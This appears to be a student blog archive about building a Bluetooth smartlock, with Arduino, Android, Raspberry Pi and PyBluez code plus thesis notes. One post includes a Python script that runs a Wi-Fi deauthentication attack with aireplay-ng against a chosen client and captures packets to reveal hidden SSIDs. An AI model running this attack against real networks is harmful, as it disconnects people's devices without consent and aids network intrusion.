Below are the slides that I used during my final year project presentation. Basically, CSBS stands for Configurable Steganography Bluetooth-enabled Smartlock. In short, it uses the Bluetooth capabilities that exist in almost all smartphones to unlock the door.
There are many similar projects, and some of their products are already in the market (Kevo, Goji). However, the different is that they are using Bluetooth 4.0 aka Bluetooth Low Energy (BLE) or Wifi. BLE exists only on newer smartphones and you need Wifi, well, you need the coverage to make it work. Plus, making your door connected to the internet might not really be a good thing (the Internet of Things downside).
We attempted to make it work on Bluetooth 2.0 (the conventional one). I must say, given some financial help, I’d go making this project a real thing.
The other day, I helped Joe with his project. The project requires the Arduino to listen to the Bluetooth communication (sent via an Android App) while also running its own program. The Bluetooth module uses the serial comm. To make it work, I’ll use this basic code for the interrupt which when triggered, it takes the Bluetooth communication’s input.
// To use this example, you have to connect Rx pin (digital pin 0) to interrupt 0 pin (digital pin 2). void setup() { // Using interrupt 0 on digital pin 2. pinMode(2, INPUT); digitalWrite(2, LOW); Serial.begin(9600); attachInterrupt(0, serialInterrupt, CHANGE); // Used to signal that main loop is alive. pinMode(4, OUTPUT); digitalWrite(4, LOW); // Used to signal that Serial input was read. pinMode(5, OUTPUT); digitalWrite(5, LOW); } void loop() { // Do something using even delays. There is an interrupt for that (Serial I/O)! // Blink led to signal loop is alive. digitalWrite(4, HIGH); delay(500); digitalWrite(4, LOW); delay(500); } // Volatile, since it is modified in an ISR. volatile boolean inService = false; void serialInterrupt() { // Trick: since Serial I/O in interrupt driven, we must reenable interrupts while in this Interrupt Service Routine. // But doing so will cause the routine to be called nestedly, causing problems. // So we mark we are already in service. // Already in service? Do nothing. if (inService) return; // You was not in service. Now you are. inService = true; // Reenable interrupts, to allow Serial to work. We do this only if inService is false. interrupts(); // Allow serial to read at least one byte. while(!Serial.available()); // Blink led to signal Serial data arrived. digitalWrite(5, !digitalRead(5)); byte data = Serial.read(); // Echo data back to developer ;-) Serial.print(data); // Job done. inService = false; }
I was asked by my friend, Atikah to write some Python scripts for her final year project. The project involves discovering the hidden SSID of surrounding Wifi networks. Getting the non-hidden SSID is a matter of turning on the wireless card. For hidden SSID, the trick is to capture the authorization packets sent by the connected client to that Wifi network and get the SSID from the packet.
To do, we do “De-Auth attack” on that specific client. As a result, we disconnect it from the Wifi network. Once it’s disconnected, it will try to reconnect to the Wifi network automatically by sending the “authorization” packets to that Wifi’s Access Point.
We then capture these packets and analyse it for information.
#!/usr/bin/env python import os from time import sleep print “1 - Put the wireless card to monitor mode.” print “2 - Sniff for surrounding wireless network and list all BSSIDs” print “3 - Perform deAuth attack to a client from an AP” print “4 - Capture packets into a file and examine it (if “ print “ “ print “IMPORTANT NOTE: Press CNTRL+C to stop both the sniffing process and packets capture process” sleep(5) #pause for 3 seconds so user can read the info try: os.system(“airmon-ng start wlan0”) #set wireless card to monitor mode sleep(5) #pause for 5 seconds so user can read the info print “wireless card is set to monitor mode. Start sniffing…” os.system(“airodump-ng mon0”) #start probing local wireless network except KeyboardInterrupt: print “nothing”; print “Sniffing process stopped.” print “Lets start deAuth attack. Pick an AP and a connected client” bssid = raw_input(“Enter the MAC address of the hidden SSID of an AP (BSSID) : “) station = raw_input(“Enter the MAC address of connected client (STATION) : “) try: print “Start deAuth attack…” os.system(“aireplay-ng –deauth 10 -a %s -c %s mon0 –ignore-negative-one” % (bssid, station)) #send deAuth packets to the AP except KeyboardInterrupt: print “nothing”; print “ “ print “deAuth attack is stopped. At this point, the client is trying to re-authenticate with the AP” print “Lets capture the packets” sleep(5) #pause for 3 seconds so user can read the info try: os.system(“airodump-ng –bssid %s -w captured_packet mon0” %(bssid)) except KeyboardInterrupt: print “nothing” print “The captured packets are saved to a file in the same directory - captured_packet.cap” print “ “ print “Displaying the first 20 captured packets…” os.system(“tshark -r ‘wlan.bssid == %s’ -r captured_packet-01.cap | grep SSID | sed ‘s/^.*SSID=//’ | sort | uniq” % bssid) print “end”
If you browse the internet for so long, you'll understand the pain of closing those annoying pop ups. Some Ad Blocker can close those pop ups that comes in a new window. But some does not work on the one that pop up as a new tab.
The other day I was asked by Joe to help him with a project (more about it later), which needs to produce sound, or in a simplest way, speak. I list here the simplest possible ways to do it.
Below is the post written by Afiq on hist first kick start with Windows App development :
Afiq Here and this is my first update.
This blog post is about my attempt at setting up the windows phone 8 development environment nad my experience playing with the environment in visual studio. I will reference all the websites that I went to in my attempt to install the necessary files
1. First I installed this file as recommended by Raf. It wasn’t much, It just provided me with some of these tile apps.
2. Then I installed visual studio express 2012 from this website. This one took quite long to install and with some errors. The whole suite came with Blend for Visual Studio. It is so far running without errors but at one point during the installation it said that some features were missing. So I think it only partially installed correctly. I ran a repair install afterwards and I think it should be better now.
<div class="separator" style="clear: both; text-align: center;"></div> 3. Seeking reference I then found this MSDN blog article that I used to verify all the steps that I achieved so far. I followed all the instructions and I find that this was the clearest and easiest set of instructions to follow. Everything went about without a hitch.
4. This is the development environment that I have so far. It is compliant with the picture in the file taken from the W8 guide given before the holidays given by Mr. Ling.
<div class="separator" style="clear: both; text-align: center;"></div> I watched this YouTube video that showed exactly the same platform and introduced some programming conventions that I had to be aware of for windows phone 8 development.
My progress is now shalted because the emulator is having some problems. Apparently my brand new computer is missing the prerequisite of being windows 8 professional version but all the prerequisites for running the hyper-v virtualisation machine are all there.
Some of these basic prerequisites include 4 GB RAM x64 architecture Supports SLAT (Second Level Address Transition)
All of which I already satisfy the needs of.
Everytime I want to run the simulator an error occurs, unlike the YouTube video tutorial in which the Emulator is easy fast and accessible, mines does not want to function at all. This is what I get when I run the emulator.
My proposed solution … Go Pirate, RRrrrrrrr…. And run the same installation steps over again. I Think it will be faster on a clean slate. Thats all from me,
Me and Afiq were in charge of developing the App for the Innovate Malaysia design competition. In short, we need to build the similar version of Android App for Windows Platform. As I have been familiarizing my self with the dark side of the phone’s Bluetooth development, developing for Windows Phone becomes rather easy for me.
Afiq started the work early as I was still busy developing the Android version. Below is one of his screenshots. Nice experience, eh? Maybe one of us will end up being a developer one day.
In the last meeting, we discussed on how we can implement the verification of the key in the most efficient way, while not risking the security aspect of the system.
We agreed that we would be implementing a distance measuring mechanism (I’ll write about it in another post), in which the door is to be set “ready to be unlocked” only when the user is within the safe distance from the door (2-3 meters).
This adds another type of verification which is the distance between the user and the Rpi itself.
<div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;">The figure above shows how Rpi is used to validates both ‘distance’ and ‘key’. Alternatively, ‘distance’ can be validated via the Android App itself.</div> <div class="separator" style="clear: both; text-align: center;"></div>
Since we have passed the first demonstration, it's time now to design for the final prototype. I have considered a few ideas of how our App will look like, and what kind of functionality that we will be offering. Unline UniKey, we don't have our system connected to the net, which makes our system simpler than theirs (apart from more secured, that's it). These are the interfaces that I came out with, as of now.
We have a meeting on Jan 24th where we were asked to submit our first draft for both Chapter 1 and Chapter 2 of the thesis two weeks after. These are the points jotted down by me during the meeting.
Chapter 1: Introduction (4 pages) – get the some content from slide!
Focus on scope – mention the motivation
Current market of AC system – what is available? How far the systems being used?
Problems with current AC system
How the problems can be solved, in relation to the scope
Then, the objective of the project which is proposed, in order to solve the problems
Mention the novelty of the project
Chapter 2:Lit. Review (15 pages)
Focus on Bluetooth/Smartphone used for AC system
Quote examples – highlight advantages and problems – some analysis, why people use the system? The good and the bad from user’s perspective – relate to the situation in Malaysia, with data support - why people don’t use or didn’t try to use
Then, highlight specific functions - related to CMS. How CMS is integrated with AC system, along with Smartphone and Bluetooth
Discussion, which lead to the Chapter 3: Design and Implementation
import java.util.HashMap; import java.util.Iterator; import java.util.Map; public class subs_cipper { public static void main(String[] args) { System.out.println(“This is to demonstrate the Substitution Cipher”); System.out.println(“Each alphanumeric char is mapped to a String (arbitrarily, of two chars length)”); System.out.println(“For example, ‘A’ is mapped to "OA", ‘B’ is mapped to "9B", and so on…”); System.out.print(“\nTest String = “); String plaintext = “WHYAMIDOINGTHISWHYAREWEHEREWHATAREWEDOING”; //string to be ciphered //String plaintext = “ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890”; //use this to check. With this, //…plaintext = Keys, and Ciphertext = Values System.out.print(plaintext); //Encryption System.out.println(“\n\nCiphertext = “); Cipher ObjCipher = new Cipher(); String ciphertext = ObjCipher.Encrypt(plaintext); //output ciphered string System.out.println(ciphertext); //Decryption System.out.print(“\nPlaintext = \n”); String outplaintext = ObjCipher.Decrypt(ciphertext); //output deciphered string System.out.print(outplaintext); } } //the class that that implements the actual encryption class Cipher { String keys, values; //Keys & Values for HashMap String plaintext, ciphertext; HashMap<String, String> map = new HashMap<String, String>(); //HashMap to do the mapping //constructor, instantiates the HashMap public Cipher(){ //one-to-one mapping (Keys - Values) of different length. In this example, //A:OA, B:9B, C:8C & so on… keys = “ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890”; values = “0A9B8C7F6E5R4F3T2J1K4LX2VN18K9LC42B7” + “ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890”; //use for loop to fill up & map the Keys to the respective Values for (int i=0; i<keys.length(); i++){ char charkey = keys.charAt(i); //get each char from the Keys & convert to String String tempkey = Character.toString(charkey); char charval1 = values.charAt(i*2); //get every two chars from the Values & convert to String String tempval1 = Character.toString(charval1); //…and concatenate both chars to form a single String char charval2 = values.charAt(i*2+1); String tempval2 = Character.toString(charval2); String tempval = tempval1 + tempval2; map.put(tempkey, tempval); //fill the HashMap } } //Encrypt method, do the Encryption, takes Plaintext as argument public String Encrypt(String plaintext){ String output = “”; char ch; for (int i=0; i<plaintext.length(); i++){ //go through the plaintext ch = plaintext.charAt(i); //take each chars as ‘Key’ String str = Character.toString(ch); //..and map to its corresponding ‘Value’ output = output + map.get(str); } return output; //returns the the encrypted String } //Decrypt method, do the Decryption, takes Ciphertext as argument public String Decrypt(String ciphertext){ String output = “”; char ch; String str = “”; for (int i=0; i<ciphertext.length(); i = i+2){ //get next two adjacent chars from the Ciphertext ch = ciphertext.charAt(i); //concatenates them into a single String str = Character.toString(ch); ch = ciphertext.charAt(i+1); str = str + Character.toString(ch); Iterator j = map.entrySet().iterator(); //look up through HashMap by the Value while (j.hasNext()) { //…to find the corresponding Key Map.Entry entry = (Map.Entry) j.next(); if (str.equals((String)entry.getValue())){ //concatenates the output with each Key found output = output + (String)entry.getKey(); } } } return output; //return the Decrypted String } }
Listing out some useful Shared Preferences snippets for easy references public static final String MyPREFERENCES = “MyPrefs” ; //name to save Shared Preferences xml file String currentmode = “”; //default current mode to start App //find the App’s Shared Preferences. If it doesn’t exist, create one. Name it “setting” SharedPreferences setting = getSharedPreferences(MyPREFERENCES, Context.MODE_PRIVATE); //debug : used to shared preferences /* Editor editor = setting.edit(); editor.clear(); editor.commit(); */ //check the last saved mode of operation. load it if it existed public void checkMode(){ if (setting.contains(“savedmode”)){ currentmode = (setting.getString(“savedmode”,””)); Toast.makeText(getApplicationContext(),”Loading last saved mode of operation”, Toast.LENGTH_SHORT).show(); } else { //no setting saved for mode. Save convenient mode by default currentmode = “convenient”; Editor editor = setting.edit(); editor.putString(“savedmode”, currentmode); editor.commit(); Toast.makeText(getApplicationContext(),”No mode found in the setting”, Toast.LENGTH_SHORT).show(); } } //debug : to show all data stored in Shared Preferences /*Map<string> keys = setting.getAll(); for(Map.Entry<string> entry : keys.entrySet()){ Log.d(“map values”,entry.getKey() + “: “ + entry.getValue().toString()); }*/ //mode toggling method for ToggleButton. Save the adjusted current mode to Shared Preferences public void ToggleMode(View view){ ToggleButton toggle = (ToggleButton) findViewById(R.id.toggleMode); boolean on = toggle.isChecked(); if (on){ currentmode = “convenient”; Editor editor = setting.edit(); editor.putString(“savedmode”, currentmode); editor.commit(); Toast.makeText(getApplicationContext(),”Mode changed to Convenient”, Toast.LENGTH_SHORT).show(); } else { currentmode = “secured”; Editor editor = setting.edit(); editor.putString(“savedmode”, currentmode); editor.commit(); Toast.makeText(getApplicationContext(),”Mode changed to Secured”, Toast.LENGTH_SHORT).show(); } };
Raspberry Pi is the small size computer roughly sized as credit card that runs on Linux. The board is relatively very cheap which is $35. The RPi can be used to many things from using is as computer or to make it as small robot. It can be plugged in USB peripherals (keyboards, mice, etc.), output video via HDMI and DVI, or even composite out to an old analogue TV.
Setting up the RPi is very easy and it will only take in less than 10 minutes to setup and run.
Things needed before start:
- Raspberry Pi - SD Card(at least 4 gig) - HDMI supported monitor - Mouse - Keyboard - Power Supply (5V - 1A) - SD Formatter - RPi recovery system(NOOBS_v1_2_1.zip)
Setup - RPi:
1. Insert an SD card that is 4GB or greater in size into your computer. 2. Format the SD card so that the Pi can read it by following the steps below.
3. Install the Formatting Tool on your machine. 4. Run the Formatting Tool.
5. Set “FORMAT SIZE ADJUSTMENT” option to “ON” in the “Options” menu.
6. Check that the SD card you inserted matches the one selected by the Tool.
7. Click the “Format” button.
8. Download the NOOBS_v1_2_1.zip from (downloads.raspberrypi.org/recovery).
9. Unzip the RPi recovery system or NOOBS_v1_2_1.zip.
10. Copy the extracted files onto the SD card that you just formatted.
11. Insert the SD card into your Pi.
12. Connect all the connections which is mouse, keyboard and monitor.
13. Finally connect the power supply to the RPi.
Setup - Raspbian
Once boot up for the first time, a menu will prompted(see the image below) you to install one of several operating systems into the free space on the card. The choice means you can boot the Pi with a regular operating system like Raspbian, or with a media-centre specific OS like RaspBMC.
I went back to Terengganu for a week with the hope to do some writing and home cleanups after the recent flood. However, a bad fever caught me and I spent literally 5 days resting. The family outing during the following weekend topped it up and I was officially having a week work-free :D
Nevertheless, I did went through some more related papers to help me to get going with the thesis.
Objectives (what did you planned to do?): 1. Writing/Revising for the 2nd draft of Literature Review. 2. Begin writing the introduction part of the thesis 3. App should be able to send photo to another phone via the same App 4. Write Steganography encoding using libpng (http://www.codeproject.com/Articles/581298/PNG-Image-Steganography-with-libpng).
Efforts done (what did you do?): 1. Fever. Not much to consider them efforts at all.
Objective for next week: Continue from last week. 1. Writing/Revising for the 2nd draft of Literature Review. 2. Begin writing the introduction part of the thesis 3. App should be able to send photo to another phone via the same App 4. Write Steganography encoding using libpng (http://www.codeproject.com/Articles/581298/PNG-Image-Steganography-with-libpng)
Objectives (what did you planned to do?): 1. Collect research papers to revise Literature Review part 2. Adding function to App : able to select photo from the gallery and send photo to another phone via the same App
Efforts done (what did you do?): 1. Some papers were collected and printed. Started reading through. No writing/revising done yet 2. App is able to prompt User to select photo. Sending function is not yet implemented.
Outcomes (success, errors, discussion, screenshots…etc) 1. Requires more related research papers. 2. App is able to prompt User to select photo but the sending part hasn’t been implemented. Link to apk : Link
<div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"> </div>Objective for next week: 1. Writing/Revising for the 2nd draft of Literature Review. 2. Begin writing the introduction part of the thesis 3. App should be able to send photo to another phone via the same App 4. Write Steganography encoding using libpng (http://www.codeproject.com/Articles/581298/PNG-Image-Steganography-with-libpng)
Objectives (what did you planned to do?): 1. Writing/Revising for the 2nd draft of Literature Review. 2. Begin writing the introduction part of the thesis 3. App should be able to send photo to another phone via the same App 4. Write Steganography embedding using libpng (http://www.codeproject.com/Articles/581298/PNG-Image-Steganography-with-libpng).
Efforts done (what did you do?): 1. Finished the 1st draft of Chapter 1 and Chapter 2 of the thesis 2. App is able to send photo to another phone via the App
Objective for next week: 1. Revise Chapter 1 and Chapter 2 2. Begin writing the Chapter 3:Design and Implementation 3. App function : sending a photo to another phone via the second method (direct stream) 4. Write Steganography embedding using libpng (http://www.codeproject.com/Articles/581298/PNG-Image-Steganography-with-libpng)
I have mentioned before that we have 2 ways to check for signal strength (which then approximates distance) of the bluetooth communication in our system, particularly between the App and the Rpi.
1. Query done by Rpi 2. Query done by Android App
I have not yet checked on how I can get the first step done programmatic-ally, for the purpose of integrating it into our Server program. This example showed how it is done via terminal : forum link.
However, I have a written a simple app for the 2nd method. This App catches the RSSI values of every bluetooth devices it found during ‘discovery’ by requesting an extra field in ACTION_FOUND intents of the discovery : EXTRA_RSSI. This value (of data type Short) contains the RSSI value of the remote devices found.
Here is the snippet on how it is done:
// Create a BroadcastReceiver for ACTION_FOUND BroadcastReceiver receiver; receiver = new BroadcastReceiver() { public void onReceive(Context context, Intent intent) { String action = intent.getAction(); // When discovery finds a device if (BluetoothDevice.ACTION_FOUND.equals(action)) { // Get the BluetoothDevice object from the Intent BluetoothDevice device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE); short rssi = intent.getShortExtra(BluetoothDevice.EXTRA_RSSI,Short.MIN_VALUE); // Add the name and address to an array adapter to show in a ListView mArrayAdapter.add(device.getName() + “\n” + device.getAddress() + “\n” + rssi + “ db” + “\n” ); //add notify discovery is done Toast.makeText(getApplicationContext(),”Bluetooth devices discovery done…”, Toast.LENGTH_SHORT).show(); } } };
In short, we can get the signal strength of any discovered bluetooth devices, without even having to connect to those devices. Hence, ‘signal strength’ or more correctly, ‘distance between the user and the door’ verification can be done first before ‘key’ verification. Refer HERE to see the methods we proposed earlier.
Here is the updated version of the App (remove the RSSI values display through toast, put them into the list view instead).
Earlier, we have a problem in sending the data from the Android App to the Python server on Rpi. I wrote:
“On Rpi, the App shown that connection has been made with the server and data has been successfully sent, but none of those are indicated on the server that I ran” Well, I was half correct and half wrong.
Based on this thread, the problem lies in the default configuration of Bluez where pnat plugin (a plugin file written in c for Nokia’s Maemo platform) is enabled. The plugin effectively breaks any application that tries to run Rfcomm server. Running the App through Eclipse shows “connection reset by peer” error even though initially connection was made. So, the connection was initially made, but it is then terminated by the plugin right at the point where data is to be send.
To fix this, just disable pnat plugin. 1. Navigate to “/etc/bluetooth/main.conf” 2. Edit the file with root “sudo nano main.conf“ 3. Append the following “DisablePlugins = pnat” in the main.conf file. 4. Save and Exit - Press ‘CTRL-X’ and ‘Enter’ 5. Restart bluetooth by issuing “sudo invoke-rc.d bluetooth restart“
Since we are going to deploy the system to consumer level, the interface of our application should be intuitive, more or less, looking the same as with other typical desktop applications. And to some extent, it should resemble our Android App in the design.
We have decided to use MySQL for the database of our application. For web application, I am most certain that PHP would be the best to use. However, we would want a standalone desktop application for our system. The desktop application should be able to execute these 3 main general functions:
1. Communicate with our MySQL database (of course!) 2. Communicate with Rpi via bluetooth 3. Communicate with Android App via bluetooth.
Since we’re using Python on Rpi itself, perhaps it’s good for me to explore on how we can use Python in this area as well, eliminating the needs for PHP. We basically know that Python bluetooth communication with Rpi and Android App is implementable. So, what I need to know for now are:
How Python can be used to write a desktop application? What GUI tools do I need? Can it be installed in main PC platforms (Windows, Linux, Mac)? How Python can be used along with MySQL database?
<div style="text-align: center;"></div><div style="text-align: left;">A quick research led me to PyQt, a Python way of using cross-platform GUI toolkit, QT. From the Wiki page of PyQt, there are other GUI toolkits available for Python as well. However, we’ll stick to PyQt for now due to the fact that it is cross-platform. I have implemented Qt before in my Object Oriented programming course - I wrote a Hang Man’s words game and used Qt for the drawing.
Below is the introductory video on PyQt and here is a good tutorial site for PyQt : Link.</div> <div style="text-align: center;"><iframe allowfullscreen="" frameborder="0" height="315" src="//www.youtube.com/embed/53oeJPKRttY?list=PL47Dta7tyjC0QOi29fbegPbfBv2DprxBb" width="560"></iframe> </div><div style="text-align: left;">
I also found out that, similar to PHP, Python can also be used with MySQL with ease. These two links below shows how it is done. I’ll try these out later when I want to get started with our desktop application.
I have posted earlier on how to run a simple serial server using Python 2.6 and PyBluez. Python 3.3 has natively available sockets class written for Bluetooth communication, eliminating the needs for PyBluez. I have not tested it yet myself, but if I’m not mistaken the native Bluetooth socket is only supported on unix based OS. So, if you’re on Windows, my guess is best to stay with Python 2.6 and PyBluez.
A sample script for the server is as below:
””“ A simple Python script to receive messages from a client over Bluetooth using Python sockets (with Python 3.3 or above). ””“
import socket
hostMACAddress = ‘00:1f:e1:dd:08:3d’ #The MAC address of a Bluetooth adapter on the server. #The server might have multiple Bluetooth adapters. port = 3 #3 is an arbitrary choice. It should match the port used by the client. backlog = 1 size = 1024 s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_STREAM, socket.BTPROTO_RFCOMM) s.bind((hostMACAddress,port)) s.listen(backlog) try: client, address = s.accept() while 1: data = client.recv(size) if data: print(data) client.send(data) except: print(“Closing socket”) client.close() s.close()
The scripts was not written by me. The original page here discussed the difference between Python 2.6+PyBluez and native Bluetooth socket in Python 3.3.
Here’s an example of how to use the native Bluetooth socket to send a few command bytes to control the speed and direction of a Bluetooth controlled car.
My research on Python ended with Python 2.6 and PyBluez. If you haven’t noticed, there are newer version of Python (currently on version 3.3) but the later versions are not compatible with PyBluez. My so-far googling skills got me to the conclusion that this is the better solution, albeit temporarily. Python does not have Bluetooth native library before version 3.0 (if I’m not mistaken) and while they have added them now, the documentations were not really thorough. PyBluez, on the contrary, is only supported for Python until version 2.6. Since I have to do some demonstration with Python and Bluetooth, this is the easier solution. I will get back to the Python native Bluetooth library later on.
This post will help you to do 2 things, assuming you’re on Windows:
1. Installing Python 2.6 and PyBluez 2. Run a simple Bluetooth serial server script
Installing Python 2.6 and PyBluez 1. Get them both here : Python 2.6PyBluez 2. Run the Python installer first, followed by the PyBluez Installer
Run the Bluetooth serial server 1. Copy the whole code below into a file named BluetoothServer.py 2. Save the file in the same folder where Python was installed previously 3. At this point, turn on your Bluetooth, set for an incomming connection (set a listening port) and pair with the other device (client) 4. Start the Windows command prompt. Navigate to the folder where Python was installed 5. Run the script : >>python BluetoothServer.py 6. Server is active and ready for an incoming connection : “Waiting for connection on RFCOMM Channel 1”
The simple server is based on the PyBluez examples here.
# file: BluetoothServer.py # desc: Simple Bluetooth Serial Server (Python 2.6 and PyBluez) from bluetooth import * server_sock=BluetoothSocket( RFCOMM ) server_sock.bind((““,PORT_ANY)) server_sock.listen(1) port = server_sock.getsockname()[1] #change UUID accordingly uuid = “94f39d29-7d6d-437d-973b-fba39e49d4ee”
#start the listening server advertise_service( server_sock, “BluetoothServer”, service_id = uuid, service_classes = [ uuid, SERIAL_PORT_CLASS ], profiles = [ SERIAL_PORT_PROFILE ], ) print “Waiting for connection on RFCOMM channel %d” % port #accepting connection client_sock, client_info = server_sock.accept() print “Accepted connection from “, client_info #catch data and display. #wait for the client to cut off the connection try: while True: data = client_sock.recv(1024) if len(data) == 0: break print “received [%s]” % data except IOError: pass
The Android App (client) for sending in data is discussed separately on another post. The next step is to have this simple server ran on the Raspberry Pi and adding in some output manipulations using the Pi’s GPIO pins.
Update: Here is a good read on the same topic. Link
I just saw this App and I thought it looks simple, clean and nice. I am a big fan of simplicity. So, I decided to draw using the similar theme for our App. I’ll code this later. <div class="separator" style="clear: both; text-align: center;"> </div><div class="separator" style="clear: both; text-align: center;"></div> <div style="text-align: center;">Expense Manager </div> <div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div>
I need to remind myself again and again about these two things. The concept is not hard to understand, but often it’s easy to get confused.
Motivation - What drives us to put efforts in developing the proposed project? <ul><li>What are the problems/limitations/situation in relation to the current existing solutions?</li><li>Why such problems/limitations/situation are of importance, that it requires ‘solving’? Narrow it down into a specific scope..</li></ul><div>Novelty - What is the uniqueness of the proposed project?</div><div><ul><li>What are the ‘new stuff’ that we are proposing via the project? </li><li>How are they different from the current existing solutions? (must highlight how the existing solutions do not have the ‘new stuff’ that we are proposing)</li><li>Why are they importance? Why they are needed? Explain with help of scenarios within the aforementioned scope, go into details as necessary. </li></ul></div>
We have no way of measuring distance directly between the user (the phone) and the door. However, we can safely approximate the distance by querying the “strength” of the received signal of the Bluetooth communication. The term is called Bluetooth Received Signal Strength Indication (RSSI). RSSI is the relative received signal strength in arbitrary units.
In short, the closer the distance, the bigger the strength of the received signal, the bigger the RSSI numbers.
In our case, we have two ways to implement this: <ol><li>The Rpi does the query for signal strength and responses (to command the microcontroller to unlock the door) only when the signal strength is within the safe operating range.</li><li>The App (instead of the Rpi), which initiates the connection, sends the signal (“within range” or “not within range”) along with key based on the received signal strength (Android is able to provide this automatically on each Bluetooth connection or we can use one of the public methods to query manually) of the Rpi.</li></ol><div>However, both methods relies heavily on the actual Bluetooth devices that we are using. We need to do some test on our own to approximate better (sadly we only have one Bluetooth dongle that works with Rpi at this moment).
This is one example I’ve got from the net which should give us some approximations:
RSSI Position 38 Phone touching Bluetooth dongle 25 Phone an inch away</div><div> 10 Phone about 6 inch away</div><div> 0 From 2 feet to opposite side of room</div><div> -3 In next room (with a wall between)</div><div> -10 2 walls away </div>source: Link1 Link2 Link3
My experiment on running the simple server based on Python 2.6 and PyBluez works well in Windows along with the App I’ve written. I was able to send data from the Android App and the server was able to receive the data and display it.
Implementing native Bluetooth socket on Rpi sent me to a dead end where I could not figure out why it doesn’t work and lack of resources to resolve the problem. Although packaged in within the more updated version of Python (Python 3.3), little documentations have been made on it.
On Rpi, the App shown that connection has been made with the server and data has been successfully sent, but none of those are indicated on the server that I ran. Weird? Yes. I have decided to try writing the server with the older Python 2.6 and PyBluez to test if it works.
Installing Python 2.6 in Linux: 1. Download Python 2.6 from here 2. Go to the containing directory (use “cd” command to navigate). 3. Decompress the .tar.gz by using “tar -xzf Python-2.6.6.tar.gz“ 4. Go to the decompressed folder “cd Python-2.6.6“ 5. Issues these following command “./configure make sudo make install“
Installing PyBluez in Linux: 1. Download PyBluez from here 2. Go to the containing directory 3. Decompress the .tar.gz by using “tar -xzf PyBluez-0.18.tar.gz“ 4. Go to the decompressed folder “cd PyBluez-0.18“ 5. Still in the shell, run “sudo python2.6 setup.py install“ (Note that we run the script using “python2.6” and not “python”. “python” will refer to the default installed python which could be Python2.7 or Python 3 which we don’t want to use for now. Issuing “python2.6” will ensure that we run our scripts using Python2.6 instead.) Update: You might get an error that says Python.h is missing. Python.h is a header file written in C++. It is used by gcc to build applications. You need to install a package called python-dev. This package includes header files, a static library and development tools for building Python modules. To install this package, enter: “sudo apt-get install python2.6-dev” targeting our Python2.6. You might also need to install bluetooth header (bluetooth.h). Enter “apt-get install libbluetooth-dev”. After these two headers are installed, now you can proceed to installing PyBluez.
Update: It seems that writing the server with Python2.6 and PyBluez gave me the same result. My next try will be writing the server on another language. The problem could be on Python’s implementation on Bluetooth with Rpi.
I have not been focusing on GUI design yet as I prefer to make sure some basic functions for the App are working first. The idea is to write these different functions separately into multiple temporary Apps for testing/debugging and then I’ll combine these into our final App. Even so, I did play around with the Android GUI just to get the feel of them.
The Eclipse provides basic drag and drop with their graphical tools but sometimes they could go wrong. The attributes of each view that we use can be incorrectly set up by the tools and although it looks nice on Eclipse, it isn’t so on your phone. Also, we need to cater to different screen sizes, ensuring that the looks do not go wrong.
So, the best way is to study on these different layout properties first i.e. Grid Layout, Linear Layout, Relative Layout and also Android views. There is also a guidelines for the GUI design at Android Developer site. I have read a good book on this, I’ll get back to attaching it here later.
So far, these are a couple of GUI designs that I played with
<div class="separator" style="clear: both; text-align: center;"></div> <div class="separator" style="clear: both; text-align: center;"></div> <div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"> </div><div class="separator" style="clear: both; text-align: left;">I think the best looking one at this moment is the one below. But I still can think of some changes that I can make on the look (Especially our faces right there, haha). If you have any suggestions, comments or samples, go ahead and let me know.</div> <div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;">On Phone</div><div class="separator" style="clear: both; text-align: center;"> </div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;">On Galaxy Tab</div>
So we decided that 3D printing service will take quite a little bit of time and we are not yet ready to finalize the design for it, among other things (the cost is a headache too!). Since the first presentation is just around the corner, we gonna go with a quicker solution : a prototype made wholly out of wood. We have been going around the hardware shops nearby and finally able to get some good looking woods for our project with cheap cost.
Due to the lock requires drop bolt hole component to be mounted, a stand for it is needed. The lock senses the component in order to drop the bolt. Since we need to build that stand, we thought it is a good idea to have the electronic lock able to swing just a little bit. At the end, we got ourselves a smaller scale door, which looks ‘okay’ enough for the presentation. We probably need more than this to impress the moderator, though.
For obvious reason, we can’t put our system on a real door during demonstration. So, we need a smaller, nice looking way of showing that our system can work.
<div class="separator" style="clear: both; text-align: center;"></div><div style="text-align: left;">The Kevo’s demonstration uses a small box made of wood, which is actually looks nice and serve the purpose (shows how the system works) nicely. You can watch it from the video:</div> <div style="text-align: center;"><iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/2WVCimTDZwk?feature=player_embedded' frameborder='0' /></div><div class="separator" style="clear: both; text-align: center;"> </div><div class="separator" style="clear: both; text-align: center;"></div><div style="text-align: center;"><div style="text-align: left;">However, due to lack of time and resources, we have opted to build our prototype for demo by using 3D printing service. With some serious lack of creativity, I tried designing using the same idea, just to see how we can arrange our system components inside the box. This is, by no mean, the final design.</div></div> <div style="text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"></div> <div class="separator" style="clear: both; text-align: center;"></div> <div class="separator" style="clear: both; text-align: center;"></div> <div class="separator" style="clear: both; text-align: center;"></div> As you can see, there are pretty big empty spaces inside the box which can fitted with other components if needed (a battery, perhaps?). After asking around on 3D printing service available, I found out that the maximum of the printable size is 20cm x 20cm x 20cm volume. That is one big concern, our lock itself is already 199mm (19.9cm) in length. Trouble!
Well, not entirely true. We have the option to print part by part and gluing them together, but I’m not sure how strong can it be. The material provided are mostly ABS or PLA. ABS is stronger, the kind of material that the car’s bumper are made of, but the maximum printable size is about 10cm x 10cm x 10cm due to the warping problem. We still need to design correctly (if you notice, I haven’t plug in the Bluetooth dongle into the Rpi yet) and we still need to seek answers!
Here’s a little conversation of me and one of the 3D printing service providers:
Hi
I’m gathering info about 3D printing service, which I need for my fyp. I was given your contact…I hope you don’t mind, I’d like to ask a few questions:
